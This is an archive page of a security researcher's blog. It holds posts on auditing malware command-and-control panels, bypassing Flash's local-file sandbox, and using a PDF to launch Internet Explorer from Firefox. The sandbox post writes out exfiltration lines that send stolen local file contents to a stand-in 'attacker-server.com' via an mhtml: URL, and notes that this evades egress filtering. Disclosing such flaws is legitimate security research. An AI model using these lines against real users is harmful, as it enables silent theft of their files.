Archive for the 'Security' Category

Friday, June 10th, 2011

Turning the Tables – Part II

I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.

This week’s sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli

I’ll post more samples in the coming weeks.

Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process :)

Posted by xssniper | Filed in Web Application Security | Comment now »

 

Tuesday, January 4th, 2011

Bypassing Flash’s local-with-filesystem Sandbox

A few weeks ago, I posted a description of a set of bugs that could be chained together to do “bad things”.  In the PoC I provided, a SWF file reads an arbitrary file from the victim’s local file system and passes the stolen content to an attacker’s server.

One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems.  Looking at the documentation related to the sandbox, we see the following:

Local file describes any file that is referenced by using the
file:

protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:


The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.

First, I think the documentation here is a bit too generous.  SWFs loaded from the local file system do face some restrictions.  The most relevant restrictions are probably:

  1. The SWF cannot make a call to JavaScript (or vbscript), either through URL or ExternalInterface
  2. The SWF cannot call a HTTP or HTTPS request.
  3. Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)

Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation.  The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server.  For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like:  file://\\192.168.1.1\stolen-data-here\

Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses).  If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks.  A while back, I put up a post on the dangers of blacklisting protocol handlers.  It’s basically impossible to create a list of “bad” protocol handlers in siutation like this.  In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists.  If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win. 

There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example.  The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash.  Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);

Some other benefits for using the mhtml protocol handler are:

  1. The request goes over http/https and port 80/443 so it will get past most egress filtering
  2. If the request results in a 404, it will silently fail.  The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer
  3. The protocol handler is available by default on Win7 and will launch with no protocol handler warning

There you go, an easy way to bypass Flash’s local-with-file system sandbox.  Two lessons here.  One, running un-trusted code (whether it’s an executable, javascript, or even a swf) is dangerous.  Two, protocol handler blacklists are bad.  Hope this helps PZ!

Posted by xssniper | Filed in Security | 30 Comments »

 

Wednesday, December 22nd, 2010

Expanding the Attack Surface

Imagine there is an un-patched Internet Explorer vuln in the wild.  While the vendor scrambles to dev/test/QA and prime the release for hundreds of millions of users (I’ve been there… it takes time), some organizations may choose to adjust their defensive posture by suggesting things like, “Use an alternate browser until a patch is made available”.

So, your users happily use FireFox for browsing the Internet, thinking they are safe from any IE 0dayz… after all IE vulnerabilities only affect IE right?  Unfortunately, the situation isn’t that simple.  In some cases, it is possible to control seemingly unrelated applications on the user’s machine through the browser.  As an example (I hesitate to call this a bug, although I did report the behavior to various vendors) we can use various browser plugins to jump from FireFox to Internet Explorer and have Internet Explorer open an arbitrary webpage.

  1. Requirements:  Firefox, Internet Explorer, and Adobe PDF Reader (v9 or X)
  2. Set the default browser to Internet Explorer (common in many enterprises)
  3. Open Firefox and browse to the following PDF in Firefox: http://xs-sniper.com/sniperscope/Adobe/BounceToIE.pdf

Firefox will call Adobe Reader to render the PDF, Adobe Reader will then call the default browser and pass it a URL, the default browser (IE) will render the webpage passed by the PDF.

The example I provide simply jumps from Firefox to IE and loads http://xs-sniper.com/blog/, however I’m free to load any webpage in IE.  To be fair, we can substitute Firefox for Safari or Opera and it will still work.

Achieving this is simple.  We use a built-in Adobe Reader API called app.launchURL().  Looking at the documentation for the launchURL() API, we see that launchURL() takes two parameters: cURL (required) and bNewFrame (optional).  cURL is a string that specifies the URL to be launched and bNewFrame provides an indication as to whether cURL should be launched in a “new window of the browser application”.  In this case, “new window of the browser application” really means the default browser.

A simple one liner in Adobe Reader JavaScript gets it done:

app.launchURL(“http://xs-sniper.com/blog/”,true);

Happy hunting…

Posted by xssniper | Filed in Security | 2 Comments »